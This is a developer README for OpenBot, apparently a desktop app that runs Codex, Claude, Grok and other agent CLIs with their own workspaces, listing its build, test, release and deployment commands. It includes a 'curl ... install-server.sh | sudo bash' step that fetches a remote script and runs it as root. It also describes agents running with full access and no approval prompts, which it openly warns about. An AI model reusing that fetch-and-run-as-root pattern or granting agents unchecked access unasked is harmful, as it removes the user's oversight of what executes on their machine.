bun run marketplace:build creates the launch bundles. bun run marketplace:publish:production is a dry run; production writes require explicit flags and admin credentials. See the catalog and publication guide.
Skill authors can add optional example-prompt text to the YAML frontmatter in SKILL.md:
example-prompt: Turn the latest commits into release notes.\nThe skill preview shows this text. Try skill appends it and a skill reference to the selected agent's draft. It does not send the message. The field accepts up to 1,000 characters after trimming. Missing or invalid values use a default example. No new package format or database migration is required.
\nAsk an agent to create a skill from a reusable workflow. It prepares a folder with SKILL.md and calls create_skill. The skill is saved in a shared local library and enabled for that agent. Other agents can add it through Settings \u2192 Skills \u2192 Local skills.
Agents can use list_local_skills, read_local_skill, revise_skill, and install_local_skill. Revisions require the version read by the agent and retain previous versions. Updating a library skill does not update installed copies: use the Update chip or install an exact revision. Modified installed files are protected. To publish a local skill, submit its folder separately through the marketplace.
Optional scripts, references, and assets follow the Codex skill folder structure. A PNG at assets/icon.png supplies the local preview logo. The built-in openbot-skill-creator guide explains the format and validation limits. Registration does not run scripts.
Open Server settings \u2192 Import on this computer, or on a joined server in the desktop app or the browser client. Every member of a server can import, not only an owner or admin. Add the OpenBot export agent to Grok Bot and say \"Export my agents for OpenBot\". It saves one .zip file to Downloads. Choose that file in OpenBot, select the agents, and import them.
The import adds each agent's name, instructions, avatar, skills, routines, and memories. Workspace files are copied to imported/ in the agent's workspace if you included them. Chat history is not copied: the export agent keeps the important facts as memories. For this computer, the file is read here and is not uploaded. For a joined server, the file (at most 100 MB) goes to the computer that runs that server through the encrypted host connection. A member's import uses a skill that the server already has instead of changing it. The export skill and its format are in resources/agent-import/grok-bot/SKILL.md.
The browser client is served at /app by the public web app. For local development, run bun run dev:api and open /app on the API URL printed by the supervisor. Use bun run dev when a desktop host is also needed. Use bun run storybook and Web \u2192 Workspace \u2192 Connected for shared UI test data. See web client delivery for the release gate and focused checks.
| Command | \nPurpose | \n
|---|---|
bun run dev | \n Start the local Auth API, Signal service, and Electron client with renderer HMR on its app profile. Ports are allocated through the dev registry, so a sibling worktree never takes one this stack won. It refuses a second stack in the same worktree unless you pass --force. Each worktree opens a profile of its own, keyed to its path; --shared opens the shared OpenBot Dev profile instead. --isolated is still accepted and changes nothing. A profile that you used before stays on disk unchanged. --hosting=test signs the app in to the test account Worker, on a profile that all worktrees share, so that a hosted server is a real VM; see docs/hosted-servers.md. A profile that does not exist yet is seeded with the showcase data of bun run dev:seed before the client starts, so a first start never opens an empty app; an existing profile is left as it is. An isolated profile still shares the computer's provider CLI store, so it does not download the pinned CLIs again. Before it starts, it runs bun install --frozen-lockfile and bun run api:migrate:local only when bun.lock, a workspace package.json, a patch, or a migration changed since their last successful run. The stamps are in node_modules and apps/auth-api/.wrangler/state/v3/d1, and each bun install writes the install stamp too; delete one to run its step again. | \n
bun run preview | \n Preview the built Electron client with the green preview icon. | \n
bun run mobile:go | \n Start the mobile app in Expo Go and clear the Metro cache. | \n
bun mobile:ios | \n Build and launch the iOS simulator app without RocketSim. | \n
bun run dev:mobile | \n Start or reuse this worktree's bun run dev stack, build and launch the iOS simulator app, and pair them without a QR scan. The desktop issues a Mobile Connect ticket over CDP, and simctl openurl opens the link in the development build, which accepts only loopback or private-network account services. Other arguments go to bun mobile:ios. --pair-only pairs an app that already runs; --simulator=<udid> chooses one of several booted simulators. It stops when the Metro port is already in use, because another worktree's Metro would serve the same app id; pass --port=<n> then. | \n
bun run mobile:ios:build:local | \n Build a production iOS .ipa locally for upload with Transporter. See TestFlight setup. | \n
bun run mobile:ios:release:testflight | \n Start the GitHub Actions iOS build from main and upload to TestFlight. Requires authenticated GitHub CLI. See iOS release setup. | \n
bun mobile:ios:rocketsim | \n Start RocketSim and build and launch the iOS simulator app with RocketSim Connect. See mobile setup. | \n
bun run mobile:go:tunnel | \n Start the mobile app in Expo Go through a Metro tunnel and clear the cache. The OpenBot API and Signal still need their own reachable addresses. | \n
bun run dev:api | \n Start the TanStack Start API and its local D1 database on 127.0.0.1:3100. | \n
bun run dev:apns-key -- <AuthKey_ID.p8> [KEY_ID] | \n Save an Apple Push Notification service key in ignored development state, so the local Auth API sends iPhone Live Activity updates. The local server forwards them to Apple over HTTP/2. Restart bun run dev after it. | \n
bun run api:start | \n Build and preview the Cloudflare Worker locally. | \n
bun run api:images | \n Draw the article artwork into apps/auth-api/content-art/ after you add an article or change a title. Commit the result; the site build fails until it matches. Needs Electron and a GPU, so run it on your own machine. | \n
bun run api:migrate:local | \n Apply D1 migrations to the local development database. | \n
bun run api:migrate:remote | \n Apply D1 migrations to the configured remote database. | \n
bun run api:deploy | \n Build and deploy the account API to Cloudflare Workers. It sets the Stripe, boat, claim and OpenPanel secret sets that are in the production environment. A set that is not there keeps the value that the Worker has. | \n
bun run api:stripe:bootstrap | \n Create or update the Stripe plan catalog and the Customer Portal settings from STRIPE_SECRET_KEY in the encrypted apps/auth-api/.env.dev (shell values replace it). It refuses a live key unless you add --live. For local webhooks, run stripe listen --forward-to localhost:<API port>/v1/stripe/webhook and set the signing secret in STRIPE_WEBHOOK_SECRET. See Billing. | \n
bun run hosting:setup --target=production|test | \n Set up the Stripe catalog, the Customer Portal, and the Stripe and boat webhooks of one account server, and store the webhook signing secrets: production in the cloudflare-production GitHub Environment, test in the encrypted apps/auth-api/.env.dev. See hosted servers. | \n
bun run hosting:template | \n Build the boat named snapshot that new hosted servers start from. Needs BOAT_TEMPLATE_API_KEY and --version, --appimage-url, --appimage-sha256 and --auth-api-url. See hosted servers. | \n
bun run status:build | \n Build the public status page in apps/status/dist. The status-page workflow adds status.json and feed.xml and publishes it to GitHub Pages at status.openbot.run. | \n
bun run status:smoke | \n Run the status page smoke test: update runs against a local fake service, the status webhooks against a local receiver, one read-only run against the live checks, and the built page in Chrome. It writes .openbot-build/status-page/report.json. | \n
bun run remote:up | \n Build and start the self-hosted Signal, coturn, and ACME stack. | \n
bun run remote:check | \n Check the Remote API and both Docker Compose configurations. | \n
bun run remote:check:compose | \n Validate both Docker Compose configurations alone, without a running daemon. | \n
bun run remote:update | \n Update Signal, then drain and update the single coturn instance. | \n
bun run dev:all | \n Start the Auth API, Signal service, and single local Electron instance. | \n
bun run dev:slack | \n Start the same stack as bun run dev, with two cloudflared quick tunnels, one to Signal and one to the local account API, so that Slack can send the development Slack app's events and install return to the agents on this computer. It reads OPENBOT_DEV_SLACK_SIGNING_SECRET from the ignored .env.slack-dev, and needs SLACK_ROUTE_PRIVATE_JWK and SLACK_ROUTE_KEY_ID in the shell environment. Takes the same options as bun run dev, such as --shared. See docs/messaging.md. | \n
bun run dev:test-client | \n Start the Auth API, Signal service, local instance, and an isolated second client for team testing. | \n
bun run dev:seed | \n Replace only the app development profile with durable showcase data. --if-missing keeps an existing profile, which is how bun run dev seeds a first start. --scale=agents:N,messages:M,channels:C,channelMessages:K,attachments:A adds generated agents, chat history, channel history and large images to the showcase data, for memory and CPU measurements. | \n
bun run dev:reset | \n Delete the local app, test-client, and legacy host development state. It refuses while a dev app has one of these profiles open. | \n
bun run dev:status | \n Print, as JSON, every dev stack and dev app instance live on this machine: services, ports, pids, which of them belong to this worktree, and which are orphaned - a supervisor that is gone with its children still holding the ports. Each recorded process carries the state a stop command acts on: live, gone with groupLive for a survivor of a dead leader, and unverified for a pid this machine cannot date. registryDirectory is the directory it read: ~/Library/Caches/OpenBot/dev on macOS, $XDG_RUNTIME_DIR/openbot-dev (else ~/.cache/openbot/dev) on Linux, %LOCALAPPDATA%\\OpenBot\\openbot-dev-instances on Windows, or OPENBOT_DEV_REGISTRY_DIR when set. It does not depend on TMPDIR. | \n
bun run dev:verify | \n Print a stable JSON verification plan for this worktree: ready/reasons for safe checks, setup state, changed files and affected surfaces, nearby tests, runtime state, qa.required/qa.ready/qa.reasons, the renderer QA loop, safe runnableCommands, and all suggested commands. Add --run to execute only the safe non-mutating checks in the plan. Renderer QA follows snapshot \u2192 action with --wait-for \u2192 snapshot \u2192 screenshot when appearance matters. | \n
bun run dev:stop | \n Stop this worktree's dev stack, children included, using the pids in the registry rather than a process-name pattern. It signals only a pid whose start time still matches the record, so a recycled pid is never sent SIGTERM; anything it cannot confirm is reported, left running and kept in the registry, and the command exits non-zero. --pid=<supervisor pid> stops one other stack, --all stops every stack on the machine. | \n
bun run dev:forget | \n Drop this worktree's stack record without signalling anything, for the one case dev:stop refuses to resolve on its own. It is also the only command that reads a dead record: nothing else deletes one, because a reader that removes what it judged can remove a record the supervisor rewrote in between. Takes the same --pid= and --all. | \n
bun run storybook | \n Start Storybook on a port allocated through the same registry, so two worktrees never announce one port. OPENBOT_STORYBOOK_PORT moves where the search starts; --port is refused. | \n
bun run build-storybook | \n Build static Storybook. CI sets OPENBOT_STORYBOOK_CHECK=true to skip automatic prop documentation during its build check. | \n
bun run dev:automation | \n Drive the running dev app over CDP: instances, pages, snapshot, screenshot, click/type by accessible role. --page=<target-id|url-substring> aims at any window, including embedded browser views; --wait-for=<role>,<name> settles on an accessible target instead of polling; mutations need --allow-mutations and a named instance (this worktree's record, --instance=<id> or --port=). | \n
bun run dev:cpu | \n Measure idle CPU on the running dev app, per process kind and per page. --duration=<ms> (default 60000), --interval=<ms> (default 5000), --label=<name>, --out=<name>.json (always under .openbot-build/dev-automation/cpu/, and refused if it would leave that directory or pass through a symbolic link) and --compare=<file> for a before/after delta. Read-only. Take a baseline before a change and a second run after it: only the difference between two runs on the same machine is a result, because a dev build carries the Vite server and the source maps as well. | \n
bun run dev:memory | \n Measure the running dev app's memory once: resident memory per process kind (main, renderer, GPU, provider CLIs and their MCP servers), with the dev tooling kept out of the app total, plus JS heap and DOM counters per page. --label=<name>, --out=<name>.json (always under .openbot-build/dev-automation/memory/) and --heap-snapshot=<target-id|url-substring> to also write a V8 heap snapshot of one page to that directory. Read-only. | \n
bun run dev:bench | \n Run repeatable RAM and CPU scenarios on the built app (bun run build first). Each run seeds a bench profile of its own, starts the built app, samples the process tree every second (resident memory, macOS physical footprint and CPU per process kind, provider memory per CLI) with the main-process and page heaps, drives the scenario, and reads a settled state after garbage collection. --scenario=<id|prefix|all> (required; without it the command lists the scenarios), --runs=<n> (default 3; the report shows the median and range), --label=<name>, --compare=<report.json>, --cpu-profile (records the app window's JavaScript for 15 s after the first run settles, as a .cpuprofile for DevTools), --frames (counts frames slower than 17 ms and 50 ms while the scenario runs; the loop keeps the renderer drawing, so CPU readings rise) and --call-counts (V8 call counts per function while the scenario runs, top 25 in a -call-counts.json file; slows JavaScript). Every run also reports the startup marks (startup.*, ms) and the app window's layout and style recalculation counts, script and task time, and long tasks (render.*). Reports go to .openbot-build/dev-automation/bench/. Turn scenarios (s5 to s9) use the real claude, opencode and grok CLIs and spend model quota. It never touches a dev instance or your own profile, and bun run dev:stop stops an app a failed run left behind. | \n
bun run check | \n Run Biome, both typechecks, offline tests, the browser smoke test, and the production build. | \n
bun run typecheck | \n Check all 15 projects in parallel with a separate incremental cache for each project in this worktree. | \n
bun run knip:check | \n Find unused files, exports, and types, unused or unlisted dependencies, and unresolved imports in all workspaces. CI runs it. | \n
bun run check:ui | \n Check the renderer against the design system: shared primitives, Kobalte and Lucide confined to @openbot/ui, palette tokens instead of colour, size, radius and transition literals. Checks renderer and shared UI source. | \n
bun run check:assets | \n Fail when a tracked image or video file is outside the product asset directories. Pull request screenshots go in the pull request body. | \n
bun run check:doc-links | \n Fail when a link in a tracked Markdown file names a Markdown file that does not exist, or an anchor that the file does not have. | \n
bun run verify:preload | \n After bun run build, run the built preload with a fake Electron. Fail when it loads a module that a sandboxed preload cannot load, uses import(), or exposes a method that IPC_ENDPOINTS does not name. | \n
bun run types:ratchet | \n Hold each TypeScript option in tools/typescript/type-baseline.json to its error count per file in every project that extends tsconfig.base.json. A new error fails. Add --write after a fix to lower the baseline, or --add=<option> to start an option at its current counts. | \n
bun run i18n:check | \n Check the translation catalogs: key prefixes, placeholders, plural forms, ambiguous source text, and unused keys. --fix puts translated keys in the English order. --json writes .openbot-build/i18n-report.json. See docs/i18n.md. | \n
bun run test:backend | \n Run backend tests only. | \n
bun run test:changed | \n Run, on one worker, only the desktop and mobile test files that import a file changed since origin/main, including staged, unstaged and untracked files. It stops with an error when origin/main is missing. A change to a vitest config, a setup file or package.json selects no test. See docs/development-checks.md. | \n
bun run test:related -- <source>... | \n Run, on one worker, only the test files that import the named source files. | \n
bun run test:browser-agent-session | \n Check that an agent with its own browser session, and the agents of a named browser profile, keep their cookies and storage apart, across popups, a restart, a deleted profile, and a clear. | \n
bun run test:browser-profile-agents | \n Check that the shared profile, an agent's own session, a named profile, and the delete of a named profile change the stored browser profile of an agent, and that the choice stays after a restart. | \n
bun run test:browser | \n Run the complete local embedded-browser smoke test, including cross-process persistence. Use --scenario=controls, --scenario=tool-boundary, --scenario=evaluation, --scenario=wait-deadlines, or --scenario=popups for one isolated scenario. | \n
bun run test:codex | \n Probe the real CLI handshake and account without starting a paid turn. | \n
bun run test:durations | \n Re-record how long each desktop test file takes. CI splits its shards by this table, so run it when the two shards stop finishing together. | \n
bun run cua-driver:doctor | \n Print, as JSON, which cua-driver binary OpenBot would use for Computer Use, and the driver's own doctor report. Read-only, and it starts no daemon. OPENBOT_CUA_DRIVER_PATH selects a different binary in a checkout; an installed application runs only the driver it was released with. | \n
bun run prepare:cua-driver | \n Write the pinned Computer Use driver to build/cua-driver/<platform>/<arch>, verifying every SHA-256 in native-runtime.lock.json. Name another target with bun scripts/install-cua-driver.ts <platform> <arch>. Every packaging command runs this first. | \n
bun run pin:cua-driver <version> | \n Print a new cuaDriver block for native-runtime.lock.json from a published cua-driver release. Downloads the release assets of all five targets and hashes each shipped file. | \n
bun run package | \n Build an unpacked local application for the architecture of this Mac. | \n
bun run package:verify | \n Build and verify the real app bundle for this Mac, icon, metadata, ASAR, and fuses. | \n
bun run package:win | \n Build an unpacked local Windows x64 application on Windows. | \n
bun run package:win:verify | \n Build and verify the Windows x64 application on Windows. | \n
bun run package:linux | \n Build an unpacked local Linux x64 application on Linux. | \n
bun run package:linux:arm64 | \n Build an unpacked local Linux arm64 application on arm64 Linux. | \n
bun run package:linux:verify | \n Build and verify the Linux x64 application on Linux. Run it under xvfb-run -a without a display. | \n
bun scripts/create-github-app.ts [--org <org>] | \n Create the OpenBot GitHub App from scripts/github-app/manifest.json with the manifest flow. Prints the Client ID for src/main/github-connector-config.ts and writes the app secrets to ~/.config/openbot/github-app-<slug>.json (mode 0600). Enable Device Flow in the app settings after the run. | \n
bun run release:preflight | \n Verify version, Git state, and GitHub release secrets before tagging. | \n
bun run dist:mac | \n Build unsigned local DMG and ZIP update artifacts for this Mac. | \n
bun run dist:win | \n Build an unsigned Windows x64 NSIS installer on Windows. | \n
bun run dist:linux | \n Build an unsigned Linux x64 AppImage on Linux. | \n
bun run dist:linux:arm64 | \n Build an unsigned Linux arm64 AppImage on arm64 Linux. | \n
bun run release:patch | \n Create the next patch version commit and tag. | \n
bun run mobile:release:patch | \n Move the iPhone app notes from apps/mobile/changelog.d into apps/mobile/CHANGELOG.md and set the next patch version in app.json. Also mobile:release:minor and mobile:release:major. | \n
bun run mobile:release:published <ios|android|both> | \n Write today's date for a store that made the mobile build available. /changelog shows each store, and a store that still reviews the build as \"In review\". Add --version x.y.z for a version that is not in app.json. | \n
bun run test:acp-directories | \n Run three fake ACP agents through the acp provider driver: new, load and resume requests carry the workspace roots as additionalDirectories only when the agent advertises them. Offline; writes .openbot-build/acp-additional-directories-e2e/report.json. | \n
bun run test:custom-agents | \n Run two fake ACP agents through the agent store, Check agent (with its model list) and the acp provider router: equal session ids, restart and resume, switch, and delete. Offline; writes .openbot-build/custom-acp-agent-e2e/report.json. | \n
bun run test:mcp-tool-consent | \n Run the real Codex app-server with a fake model, a real MCP server and the real attention registry: tool consent at Ask first and Full access, Always allow and a restart, refusals, and the requests that stay with the user (forms, sign-in, look-alikes). Needs a Codex CLI; offline; writes .openbot-build/mcp-tool-consent-e2e/report.json. | \n
bun run test:ui-blocks | \n Run the real attention registry and Team API codecs on ask_ui blocks: answers from the owner, an admin, a member and a released client, the member refusal for privileged actions, a secret form value that is never stored, skip and expiry, and the ui-blocks-v1 wire on protocols 6 and 7. Offline; writes .openbot-build/ui-blocks-e2e/report.json. | \n
bun run test:filesystem | \n Online/manual: run real full-access Codex and Claude filesystem turns across private and shared workspaces. | \n
bun run test:imagegen | \n Online/manual: run a real full-access image-generation turn. | \n
bun run test:workspace-only | \n Online/manual: run real Workspace only Codex, Claude, Grok and OpenCode turns that try to write outside; writes a JSON report per provider to .openbot-build/workspace-only-smoke/. Add --provider <id> for one, and --model <id> to choose its model. | \n
bun run test:provider-detection | \n Run local detection, Load models and endpoint Edit against fake OpenAI-compatible servers on this computer: no key in a scan, no redirect, the stored key only to its own origin. Offline; writes .openbot-build/provider-detection-e2e/report.json. | \n
bun run test:storage-live | \n Online/manual: verify isolated Codex and Claude turns in a temporary SQLite database. | \n
Publishing never creates a second OpenBot instance. The host keeps its Team API on loopback. A hidden, sandboxed Electron page connects it to invited clients through WebRTC. Signal carries only connection setup messages. Team data uses direct DataChannels when possible and the project coturn service when direct ICE fails. Cloudflare stores accounts, configuration, memberships, invitations, logical session records, and public assets. It does not carry chats, files, commands, or remote desktop media.
\nThe development runner advertises both Mobile Connect and its Signal service on the preferred private LAN interface. Restart the runner after changing networks so newly generated QR codes contain the current address.
\nProduction mobile analytics setup and required OpenPanel credentials are documented in OpenBot Mobile.
\nmobile:go:tunnel exposes only the Expo development server. It does not expose the local account API, Signal, or TURN. A phone on 5G cannot use the default LAN addresses. For a test across networks, use a VPN that connects both devices, or provide HTTPS and WSS endpoints that forward to this dev stack's account API and Signal ports. Set OPENBOT_MOBILE_AUTH_API_URL to the reachable account API origin and REMOTE_SIGNAL_URL to the reachable Signal URL, including /v1/signal, before starting bun run dev. Use the ports reported by bun run dev:status; they can differ between worktrees. If direct WebRTC cannot connect, TURN_HOST must name a reachable coturn service and TURN_SHARED_SECRET must match that service. An HTTP tunnel cannot forward TURN traffic. Generate and scan a new Mobile Connect code after changing the account API address; an existing mobile session retains its original address.
Mobile sign-out removes the local login even when the account API is unavailable. The app keeps only the credential in secure storage for revocation retries at startup, on return to the foreground, and on the next connection attempt. Remote revocation completes when the account API is reachable.
\nFor manual team testing, bun run dev:test-client starts a complete two-client harness. The second client uses the OpenBot Dev Test Client wt-<hash> profile of this worktree (OpenBot Dev Test Client with --shared) and renderer port 5174. dev:reset removes the shared one and the legacy OpenBot Dev Host profile. It does not remove the downloaded provider CLIs, which the whole computer shares. Press Ctrl+C in the runner terminal to stop only the processes started by that runner, or run bun run dev:stop from the worktree once that terminal is gone. Never stop a dev stack with pkill -f electron or pkill -f bun: on a machine running several worktrees those kill the other checkouts' work mid-write, which is what dev:status and dev:stop exist to make unnecessary.
Set OPENBOT_DEV_ICE_TRANSPORT_POLICY=relay before this command to force Team API traffic through coturn. This test option works only with the development renderer. Production always starts with all.
The normal check command is offline and uses a fake App Server. Manual smoke scripts may use the signed-in subscription and must not run in CI.
Local agents run with the providers' unrestricted execution modes. Each agent starts in its own persistent ~/OpenBot/Agents/<agent-id> workspace and also receives ~/OpenBot/Shared; routine command and filesystem work in both locations runs without OpenBot adding another permission boundary. Because these modes are intentionally unrestricted, they also permit host access outside those directories when the provider and operating system allow it.
For each macOS account, log in to its GUI session and open Server Settings \u2192 Remote desktop access. Select Check again to read Sunshine's Screen Recording and Accessibility permissions, display availability, and GUI session status. The panel names the Mac and the account that runs Sunshine. Grant permissions in that account, including when the account was created with the tenant setup script.
\nAfter you publish a server on a Mac, an optional Set up remote desktop prompt opens this panel. Select Later to keep using the published server without remote desktop setup.
\nUse the permission buttons to open System Settings \u2192 Privacy & Security on the host. If Sunshine is missing from a list, select Show Sunshine in Finder and add the bundled Sunshine.app with the + button. macOS can attribute access to the application that starts Sunshine; enable the application named by the system prompt. Return to OpenBot to check again. If a restart is required, end remote sessions first. A check never restarts an active session.
Select Test on this Mac for a local test. If native checks are unavailable, it tests video only and disables viewer input. After the checks pass, it can test mouse and keyboard too. Select Test remote desktop from another computer for a remote test. The test requires an otherwise unused remote desktop host. It opens a temporary host panel, keeps remote input inside that panel, and asks you to click a target and type a four-digit code. Confirm that the picture is visible, then select Finish test. Local input does not pass the mouse or keyboard test. The panel expires after two minutes. Older hosts or native runtimes require an update before these checks are available.
\nThe native runtime source change invalidates prior artifact pins. The Remote desktop runtime CI workflow builds and tests the new source, then publishes and pins verified artifacts through its existing release flow. Do not reuse old artifact hashes with the new source digest.
\nElectron main\n\u251c\u2500\u2500 local Codex App Server process over stdio JSONL\n\u251c\u2500\u2500 local Claude Agent SDK session over stream JSON\n\u251c\u2500\u2500 SQLite command log and read projections\n\u251c\u2500\u2500 secure typed IPC handlers\n\u2514\u2500\u2500 sandboxed WebContentsView browser host\n \u2195 typed preload bridge\nSolidJS renderer\n\nCloudflare Workers\n\u2514\u2500\u2500 TanStack Start + Solid 2 account API\n \u251c\u2500\u2500 D1 accounts, email challenges, hashed sessions, and team tunnels\n \u2514\u2500\u2500 R2 account avatars\nsrc/main owns the Electron lifecycle, window security, local protocol, and IPC registration.src/backend owns provider adapters, persistence, message scheduling, transfers, and the browser host.src/preload exposes only the typed window.openbot API.src/renderer contains the SolidJS interface.apps/auth-api contains the TanStack Start account API, one-time email codes, rate limits, and D1 migrations. It also serves the public site: the landing page, /news, /guides, and the plugin pages at /plugins and /plugins/<slug>.apps/status contains the public status page at status.openbot.run, the script that the status-page workflow runs to check the services, and the script that sends the status webhooks of the team. GitHub hosts it, so it stays up when Cloudflare does not.packages/contracts contains process-boundary contracts, shared limits, and pure validation.packages/i18n contains the interface text in English, French, Japanese, Brazilian Portuguese and Turkish for desktop, web and mobile. See docs/i18n.md to add text or a language.See docs/ARCHITECTURE.md for dependency direction, state ownership, and rules for new modules.
\nAttach MP3 audio and MOV video through the file picker or drag and drop. The limits are 100 MB per file, 250 MB per message, and 10 files per message. OpenBot gives the agent the original file; it does not play, decode, transcribe, or validate the recording during import. Damaged recordings can be attached for inspection. Analysis depends on the tools available to the agent. For other audio or video formats, export as MP3 or MOV, or attach a text transcript. Remote hosts must advertise the media-attachments capability; update the host if this feature is unavailable.
ZIP archives use the same limits. OpenBot does not extract or inspect an archive: the agent gets the original file and extracts it with its own tools. An agent sends a ZIP archive back with openbot.attach_files_to_response, and the user downloads it from the chat. Open shows a ZIP archive in the file manager instead of opening it. Remote hosts must advertise the zip-attachments capability.
~/OpenBot/Agents/<agent-id> \u2014 one working directory per agent. A profile written before the bot-to-agent rename holds them under ~/OpenBot/Bots; the app moves them on first launch, and a workspace whose move could not run stays readable where it is.~/OpenBot/Shared \u2014 files intentionally shared between agents.~/OpenBot/Shared/Transfers \u2014 managed message snapshots and generated files. Each transfer has an .openbot-transfer.json manifest with ownership, recipients, size, and SHA-256 metadata.~/OpenBot/Downloads \u2014 embedded-browser downloads.userData/openbot.db \u2014 the canonical OpenBot event log and projections for agents, conversations, provider session bindings, queues, reactions, and attachment indexes.userData/legacy-backup-v1 \u2014 unchanged copies of imported bots.json and mailbox.json files, when these files existed before the SQLite migration.~/Library/Application Support/OpenBot/provider-runtimes \u2014 the provider CLIs OpenBot downloads and pins. One store for the whole computer, outside any one profile, so every development profile and the packaged app read the same download. --user-data-dir keeps the store in that directory instead, so an explicitly named profile stays self-contained.~/.codex \u2014 login and thread history managed exclusively by Codex CLI.~/.claude \u2014 login and session history managed exclusively by Claude CLI.~/.grok \u2014 login and session history managed exclusively by Grok CLI.~/.gemini (or $GEMINI_HOME) \u2014 login and session history managed exclusively by the Antigravity ACP server that Gemini uses.~/.cursor \u2014 login and session history managed exclusively by the Cursor CLI. A confined Cursor process keeps its settings in ~/.cursor/openbot-confined, so it never changes yours.~/.cline (or $CLINE_DIR) \u2014 login and session history managed exclusively by the Cline CLI.Deleting an agent removes its workspace, owned generated attachments, and deliveries addressed only to that agent. A transfer remains when another agent still uses the same message.
\nOpenBot keeps one stable local conversation when an agent changes between Codex, Grok, and Claude. Native provider session identifiers stay private and are used only to resume provider runtime state.
\nThe Electron renderer is never exposed as a public website. It communicates with local CLI processes over stdio. When the owner publishes OpenBot, its authenticated Team API stays on localhost. WebRTC protocol v3 carries RPC, events, and binary files to desktop and mobile clients. Expo Go hosts the mobile RTCPeerConnection in a hidden Expo DOM component, so mobile uses the same encrypted transport without a custom native development build. The account flow connects to the configured HTTPS Cloudflare API. The client stores only an encrypted OpenBot session token. One-time codes expire after 10 minutes and are stored only as hashes. A daily maintenance task removes expired or consumed authentication records from D1. The embedded browser uses a separate sandboxed Electron session and cannot access window.openbot or managed local attachments.
To run your own account service, Signal and TURN, see Self-hosted remote access.
\nTo trigger routines from external services, see Webhooks. Public webhook requests require the host to be online.
\nRead SECURITY.md before reporting a vulnerability. Do not put credentials, private files, conversation contents, or sensitive diagnostics in a public issue.
\nFull local access is an explicit current product decision, not a security boundary. Reports are especially useful when remote content can reach Electron privileges, managed attachment paths can escape their roots, IPC sender validation can be bypassed, or an agent can act outside the access described above.
\nReleases are tag-driven. bun run release:patch, release:minor, or release:major prepares the version and changelog. After review, commit, preflight, and tag the release; pushing the tag builds a signed and notarized macOS ARM64 and x64 release, a signed Windows x64 release, and unsigned Linux x64 and arm64 AppImages in GitHub Actions. After the release is published, the workflow pushes the Docker image to ghcr.io/nightly-labs/openbot. Installed builds check GitHub Releases for updates and expose download/restart controls in the account popover. Release signing secrets and the complete procedure are documented in docs/RELEASING.md.
See CONTRIBUTING.md. Before we merge a contribution, each author from outside the organization signs the Contributor Assignment Agreement, which assigns its copyright to Synthetify Labs. Community behavior is governed by the Code of Conduct.
\nCopyright 2026 Synthetify Labs sp\u00f3\u0142ka z ograniczon\u0105 odpowiedzialno\u015bci\u0105.
\nLicensed under the PolyForm Noncommercial License 1.0.0. You may use, modify, and distribute the code for permitted noncommercial purposes. Commercial use requires a separate license from the copyright owner. For a commercial license, contact licenses@openbot.run. Versions up to and including 0.1.11 remain available under Apache-2.0. See NOTICE for attribution and third-party notices.
\nOpenBot is an independent source-available project and is not affiliated with, endorsed by, or sponsored by OpenAI. OpenAI, ChatGPT, and Codex are used only to describe compatibility with their respective products and services.
\nFor one native Standard user per tenant, install the normal OpenBot DMG and the optional OpenBot-Host-<VERSION>-arm64.pkg from the same release. The Host package provides sudo openbot-host setup --create-user client-acme --create-user client-bravo and sudo openbot-host verify. sudo openbot-host status [--json] and sudo openbot-host watch show the update phase, the staged version, and each tenant's work state. No Git checkout, Bun, or compilation is required on the host. Normal desktop users need only the DMG. See the host deployment guide for existing-user enrollment, password handling, package upgrades, and required target-host checks.
A local-first desktop workspace for persistent AI teammates. Run Codex, Claude, and Grok with dedicated workspaces, task queues, file sharing, browser control, and agent-to-agent collaboration.
OpenBot is a local-first desktop workspace for persistent AI teammates. It supports the local Codex App Server and Claude Code, plus Grok CLI, OpenCode, Gemini, Cursor CLI, and Cline CLI through ACP. It gives every agent its own workspace and conversation, and provides local queues, file transfers, an embedded browser, and agent-to-agent messaging in one desktop app.
\n\n Warning
\nOpenBot is a development preview. Agents currently run with danger-full-access and approvalPolicy: never. They can read and modify files, run commands, use the network, and control the embedded browser without per-action confirmations after the explicit first-launch consent. Run only agents and tasks you trust, keep backups, and review Security before use.
cua-driver binary in the release, which OpenBot starts as its own child process and gives to every provider.OpenBot is local-first, not offline-only. Codex connects to OpenAI, Claude connects to Anthropic, Grok connects to xAI, Gemini connects to Google, Cursor connects to Cursor, Cline connects to Cline, visited pages use the network, and installed plugins may connect to their own services.
\nOpenBot supports macOS 13 or newer on Apple silicon or Intel, Windows 10 or newer on x64 systems, and x64 or arm64 Linux as an AppImage.
\nOpenBot-*-arm64.dmg (or OpenBot-*-x64.dmg on an Intel Mac) from GitHub Releases.OpenBot-*-x64.exe from GitHub Releases.OpenBot-*-x86_64.AppImage (or OpenBot-*-arm64.AppImage on arm64) from GitHub Releases.chmod +x OpenBot-*.AppImage, then run it.The AppImage does not need libfuse2, so it also runs on Arch Linux and Omarchy. It mounts itself with fusermount3 from the fuse3 package.
On Ubuntu 23.10 or newer and on Debian 13, unprivileged user namespaces are restricted by AppArmor and OpenBot exits during launch until you install an AppArmor profile:
\nsudo install -m 0644 build/linux/openbot.apparmor /etc/apparmor.d/openbot\nsudo systemctl reload apparmor\nThe same file ships inside the AppImage at resources/linux/openbot.apparmor. Edit the attachment path in the profile if you keep the AppImage outside the usual locations. Do not start OpenBot with --no-sandbox: that removes the boundary between a renderer and the rest of the computer.
On the first start from an AppImage, OpenBot writes ~/.local/share/applications/openbot.desktop and ~/.local/share/icons/openbot.png, which is what lets an openbot:// link - an invitation, or a plugin listing - open the app and gives the launcher an icon that stays after the app exits. Delete the two files to undo it.
Remote desktop works on Linux x64 in an X11 session, such as Xorg or Xvfb. It does not work under Wayland, and the arm64 AppImage does not include it.
\nFor Gemini sign-in, install a desktop browser and xdg-utils. Open the sign-in page in a desktop session on the same host or VM. Google sends the callback to that host through 127.0.0.1; a server with no desktop cannot complete this sign-in. See Gemini setup.
To run OpenBot as an always-on server of your account on a VPS or home server (Ubuntu 24.04 or 26.04 with systemd), install it from a terminal and sign in with an email code:
\ncurl -fsSL https://raw.githubusercontent.com/nightly-labs/openbot/main/scripts/install-server.sh | sudo bash\nsudo openbot login\nThen use it from the desktop app, the iPhone app or openbot.run/app. See self-hosted servers for the options and the openbot commands.
The same server runs as a container (linux/amd64 and linux/arm64). The seccomp profile lets the Electron sandbox stay on:
